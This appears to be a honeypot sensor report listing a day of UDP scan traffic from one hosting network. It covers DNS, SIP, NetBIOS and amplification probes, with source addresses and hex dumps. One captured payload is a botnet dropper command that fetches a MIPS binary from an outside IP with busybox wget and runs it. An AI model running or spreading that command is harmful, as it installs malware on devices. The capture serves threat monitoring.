UDP traffic

Datagrams matching asn:12876 sent to HoneyLabs sensors over UDP in the last 24 hours. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

Clear search

179

Datagrams

Source addresses

Networks

Countries

Destination ports

Traffic by type

Service queries

26 datagrams from 4 sources

Requests a service answers without a handshake. Scanners send them to find open DNS, NTP, SNMP or SSDP servers, which are also the servers reflection attacks abuse.

DNS 23 NetBIOS 3

Latest DNS datagram, to 53/udp

DNS query TXT/CH version.bind

payload bytes

00000000  5f af 01 20 00 01 00 00  00 00 00 00 07 76 65 72  |_.. .........ver|
00000010  73 69 6f 6e 04 62 69 6e  64 00 00 10 00 03 00     |sion.bind......|

Other services

144 datagrams from 5 sources

First packets of sessions with VPN, voice, tunnelling, database and management services.

SIP 105 Redis 39

Latest SIP datagram, to 5070/udp

OPTIONS sip:100@<HONEYPOT> SIP/2.0 Via: SIP/2.0/UDP 127.0.0.1:5063;branch=z9hG4bK3b470ea1 To: <sip:100@1.1.1.1> From: <sip:100@1.1.1.1>;tag=4ede08fc Call-ID: fc4d11f4ea6df60d CSeq: 1 OPTIONS Contact: <sip:a@127.0.0.1:5063> Content-Length: 0

Payload bytes withheld: they contain the sensor's address.

Unrecognised

9 datagrams from 2 sources

Datagrams no decoder recognised. Their first bytes are kept.

Unrecognised 9

Latest Unrecognised datagram, to 5353/udp

z.·E9+Tv]·i·xt·(o*· a?·O>·Ty>Ask`9$· ·h·j·w{/f%B·2پ

payload bytes

00000000  7a 2e 1e 45 39 2b 54 76  5d 02 69 02 78 74 10 28  |z..E9+Tv].i.xt.(|
00000010  6f 2a 13 1d 0d 61 3f 07  4f 3e 1c 54 79 3e 41 73  |o*...a?.O>.Ty>As|
00000020  6b 60 39 24 0b 0d 1a 68  0f 03 6a 07 77 7b 2f 66  |k`9$...h..j.w{/f|
00000030  25 42 03 32 d9 be                                 |%B.2..|

Amplification checks

Probes for services that answer a small request with a much larger reply, the property reflection attacks rely on.

Service	Port	Datagrams	Sources	Factor
DNS	53/udp	22	2	28 to 54
mDNS	5353/udp	2	2	2 to 10
NetBIOS	137/udp	3	1	3.8
SSDP	1900/udp	1	1	30.8

The factor is how many bytes a reachable server can send back for each byte it receives, as published by CISA in alert TA14-017A.

Destination ports

5060/udp SIP39
53/udp DNS22
5080/udp SIP14
5020/udp SIP4
65060/udp SIP4
1023/udp SIP4
1024/udp SIP4
1025/udp SIP4
1026/udp SIP4
55060/udp SIP4
1028/udp SIP4
1022/udp SIP4

DNS questions

DNS record types

TXT21
ANY1
PTR1

Networks

AS12876 Scaleway SAS from 11 sources179

Countries

NL The Netherlands149
FR France30

Source addresses (unverified)

Address	Network	Cc	Sends	Datagrams	Last seen (UTC)
51.158.202.97	AS12876 Scaleway SAS	NL	SIP	30	2026-10-10 22:19
51.158.202.6	AS12876 Scaleway SAS	NL	SIP	30	2026-10-10 22:19
51.158.201.249	AS12876 Scaleway SAS	NL	SIP	28	2026-10-10 22:19
51.158.205.153	AS12876 Scaleway SAS	NL	SIP	28	2026-10-10 22:19
51.158.204.210	AS12876 Scaleway SAS	NL	SIP	28	2026-10-10 22:19
62.210.142.176	AS12876 Scaleway SAS	FR	DNS	17	2026-10-10 16:28
62.210.89.150	AS12876 Scaleway SAS	FR	Unrecognised	8	2026-10-11 08:05
51.158.205.203	AS12876 Scaleway SAS	NL	DNS	5	2026-10-11 07:31
62.210.90.215	AS12876 Scaleway SAS	FR	NetBIOS	3	2026-10-11 00:37
78.232.50.178	AS12876 Scaleway SAS	FR	DNS	1	2026-10-10 23:51
163.172.53.219	AS12876 Scaleway SAS	FR	Unrecognised	1	2026-10-11 02:58

Latest datagrams

2026-10-11 08:05:3262.210.89.150to 5353/udpUnrecognisedFR

z.·E9+Tv]·i·xt·(o*· a?·O>·Ty>Ask`9$· ·h·j·w{/f%B·2پ

payload bytes

00000000  7a 2e 1e 45 39 2b 54 76  5d 02 69 02 78 74 10 28  |z..E9+Tv].i.xt.(|
00000010  6f 2a 13 1d 0d 61 3f 07  4f 3e 1c 54 79 3e 41 73  |o*...a?.O>.Ty>As|
00000020  6b 60 39 24 0b 0d 1a 68  0f 03 6a 07 77 7b 2f 66  |k`9$...h..j.w{/f|
00000030  25 42 03 32 d9 be                                 |%B.2..|

2026-10-11 07:31:2751.158.205.203to 53/udpDNSNL

DNS query TXT/CH version.bind

payload bytes

00000000  5f af 01 20 00 01 00 00  00 00 00 00 07 76 65 72  |_.. .........ver|
00000010  73 69 6f 6e 04 62 69 6e  64 00 00 10 00 03 00     |sion.bind......|

2026-10-11 04:40:2162.210.89.150to 8083/udpUnrecognisedFR

·.&6&]·Z'%·N6·l]·,4<Y*@·V·wiD·C·

payload bytes

00000000  13 2e 26 36 26 5d 05 5a  27 25 1f 00 0f 4e 36 1e  |..&6&].Z'%...N6.|
00000010  0b 07 6c 5d 0b 2c 34 3c  59 2a 40 1f 56 0b 77 69  |..l].,4<Y*@.V.wi|
00000020  44 1d 43 fe                                       |D.C.|

2026-10-11 04:06:4562.210.89.150to 8082/udpUnrecognisedFR

·.[b·K5T·1u·U4·^+·VNr,N z ·Tcda}·,2VCcKZ8·l·+omza·Hn·Ro'Zq·

payload bytes

00000000  00 2e 5b 62 0c 1a 1e 4b  35 54 17 31 75 17 55 34  |..[b...K5T.1u.U4|
00000010  11 5e 2b 03 56 4e 72 2c  4e 0d 7a 09 01 14 08 01  |.^+.VNr,N.z.....|
00000020  54 63 64 61 7d 02 2c 32  56 43 63 4b 5a 38 00 6c  |Tcda}.,2VCcKZ8.l|
00000030  17 2b 6f 6d 7a 61 19 48  6e 13 52 6f 27 5a 71 12  |.+omza.Hn.Ro'Zq.|
00000040  d3                                                |.|

2026-10-11 02:58:07163.172.53.219to 9034/udpUnrecognisedFR

orf; cd /tmp; rm -rf mipsel; /bin/busybox wget http://58.211.144.243:800/mipsel; chmod +x mipsel; ./mipsel realtek.selfrep; #

payload bytes

00000000  6f 72 66 3b 20 63 64 20  2f 74 6d 70 3b 20 72 6d  |orf; cd /tmp; rm|
00000010  20 2d 72 66 20 6d 69 70  73 65 6c 3b 20 2f 62 69  | -rf mipsel; /bi|
00000020  6e 2f 62 75 73 79 62 6f  78 20 77 67 65 74 20 68  |n/busybox wget h|
00000030  74 74 70 3a 2f 2f 35 38  2e 32 31 31 2e 31 34 34  |ttp://58.211.144|
00000040  2e 32 34 33 3a 38 30 30  2f 6d 69 70 73 65 6c 3b  |.243:800/mipsel;|
00000050  20 63 68 6d 6f 64 20 2b  78 20 6d 69 70 73 65 6c  | chmod +x mipsel|
00000060  3b 20 2e 2f 6d 69 70 73  65 6c 20 72 65 61 6c 74  |; ./mipsel realt|
00000070  65 6b 2e 73 65 6c 66 72  65 70 3b 20 23 0a        |ek.selfrep; #.|

2026-10-11 02:13:0462.210.89.150to 8082/udpUnrecognisedFR

&.oIF%·S16}?·1·BMv!K3VU;>>{·Rr4oa}5·8>·wA6 EyV;·!opv*.4&<·I

payload bytes

00000000  26 2e 6f 49 46 25 0b 53  31 36 7d 3f 03 31 11 04  |&.oIF%.S16}?.1..|
00000010  42 4d 76 21 4b 33 56 55  3b 3e 3e 7b 0e 52 72 34  |BMv!K3VU;>>{.Rr4|
00000020  6f 61 7d 35 07 08 08 38  3e 05 77 41 36 09 45 79  |oa}5...8>.wA6.Ey|
00000030  56 3b 1a 21 6f 70 76 2a  2e 34 26 3c 06 18 df 49  |V;.!opv*.4&<...I|

2026-10-11 00:48:3051.158.205.203to 53/udpDNSNL

DNS query TXT/CH version.bind

payload bytes

00000000  e2 8c 01 20 00 01 00 00  00 00 00 00 07 76 65 72  |... .........ver|
00000010  73 69 6f 6e 04 62 69 6e  64 00 00 10 00 03 00     |sion.bind......|

2026-10-11 00:37:3462.210.90.215to 137/udpNetBIOSFR

NetBIOS node status query *

payload bytes

00000000  52 17 00 00 00 01 00 00  00 00 00 00 20 43 4b 41  |R........... CKA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 00 00 21  |AAAAAAAAAAAAA..!|
00000030  00 01                                             |..|

2026-10-11 00:36:5162.210.89.150to 5060/udpUnrecognisedFR

].(Z·y· b2i^·R·mYz·k·%\;$O·F,5o·9h Fu·x^a·1`·IM_ChKH '·1v x"?g)xOI>EK6#,7T·>·Z·aBh*P·.·

payload bytes

00000000  5d 2e 28 5a 03 79 19 0d  0d 62 32 69 5e 08 52 7f  |].(Z.y...b2i^.R.|
00000010  05 18 6d 59 7a 1b 6b 05  25 5c 3b 24 4f 05 46 2c  |..mYz.k.%\;$O.F,|
00000020  35 6f 06 39 68 20 46 75  02 78 5e 61 01 31 60 06  |5o.9h Fu.x^a.1`.|
00000030  49 4d 5f 43 68 4b 48 0d  27 04 31 76 09 78 22 3f  |IM_ChKH.'.1v.x"?|
00000040  67 29 78 4f 49 3e 45 4b  36 23 2c 37 54 0c 3e 1e  |g)xOI>EK6#,7T.>.|
00000050  5a 1d 61 42 68 2a 50 0f  2e 01 86 ae              |Z.aBh*P.....|

2026-10-11 00:36:0362.210.90.215to 137/udpNetBIOSFR

NetBIOS node status query *

payload bytes

00000000  08 91 00 00 00 01 00 00  00 00 00 00 20 43 4b 41  |............ CKA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 00 00 21  |AAAAAAAAAAAAA..!|
00000030  00 01                                             |..|

2026-10-10 23:51:5878.232.50.178to 5353/udpDNSFR

DNS query PTR _services._dns-sd._udp.local

payload bytes

00000000  00 00 01 00 00 01 00 00  00 00 00 00 09 5f 73 65  |............._se|
00000010  72 76 69 63 65 73 07 5f  64 6e 73 2d 73 64 04 5f  |rvices._dns-sd._|
00000020  75 64 70 05 6c 6f 63 61  6c 00 00 0c 00 01        |udp.local.....|

2026-10-10 23:51:2451.158.205.203to 53/udpDNSNL

DNS query TXT/CH version.bind

payload bytes

00000000  d4 ab 01 20 00 01 00 00  00 00 00 00 07 76 65 72  |... .........ver|
00000010  73 69 6f 6e 04 62 69 6e  64 00 00 10 00 03 00     |sion.bind......|

2026-10-10 22:19:1151.158.205.153to 5090/udpSIPNL
OPTIONS sip:100@<HONEYPOT> SIP/2.0 Via: SIP/2.0/UDP 127.0.0.1:5063;branch=z9hG4bK5bd9938f To: <sip:100@1.1.1.1> From: <sip:100@1.1.1.1>;tag=cbab2368 Call-ID: 72633d0facc7f525 CSeq: 1 OPTIONS Con
Payload bytes withheld: they contain the sensor's address.
2026-10-10 22:19:1151.158.205.153to 5070/udpRedisNL
INFO sip:100@<HONEYPOT> SIP/2.0 Via: SIP/2.0/UDP 127.0.0.1:5063;branch=z9hG4bKa9d526ee To: <sip:100@1.1.1.1> From: <sip:100@1.1.1.1>;tag=7d54f723 Call-ID: 156e57905a701642 CSeq: 1 INFO Contact:
Payload bytes withheld: they contain the sensor's address.
2026-10-10 22:19:1151.158.205.153to 5070/udpSIPNL
OPTIONS sip:100@<HONEYPOT> SIP/2.0 Via: SIP/2.0/UDP 127.0.0.1:5063;branch=z9hG4bK3b470ea1 To: <sip:100@1.1.1.1> From: <sip:100@1.1.1.1>;tag=4ede08fc Call-ID: fc4d11f4ea6df60d CSeq: 1 OPTIONS Con
Payload bytes withheld: they contain the sensor's address.